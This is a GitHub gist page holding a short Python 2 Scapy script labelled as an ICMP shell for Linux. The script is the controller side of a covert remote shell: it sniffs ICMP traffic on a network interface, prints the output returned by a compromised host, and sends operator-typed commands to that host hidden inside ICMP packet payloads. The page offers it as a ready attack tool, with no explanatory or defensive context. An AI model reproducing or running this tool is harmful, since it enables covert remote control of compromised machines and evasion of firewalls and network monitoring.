Skip to content

Instantly share code, notes, and snippets.

@int0x33
Created January 14, 2019 16:19
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save int0x33/04db2307408de013198591fdf6c2c5d7 to your computer and use it in GitHub Desktop.
Save int0x33/04db2307408de013198591fdf6c2c5d7 to your computer and use it in GitHub Desktop.
ICMP Shell for Linux using ICMP tunneling
from scapy.all import *
import sys
interface = sys.argv[1]
dstip = sys.argv[2]
def pkt_callback(pkt):
# pkt.show() # debug statement
if pkt[Raw].load == "ECMD":
print "Enter command to execute:"
cmd = raw_input()
packet = IP(dst=dstip)/ICMP()/cmd
send(packet)
#packet.show()
# print pkt[Raw].load
print "[!] Command Sent"
else:
print "[!] We got a connection from the shell, reading packet..."
print pkt[Raw].load
print "Enter command to execute:"
cmd = raw_input()
packet = IP(dst=dstip)/ICMP()/cmd
send(packet)
print "[!] Command Sent"
#packet.show()
sniff(iface=interface, prn=pkt_callback, filter="icmp", store=0)
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment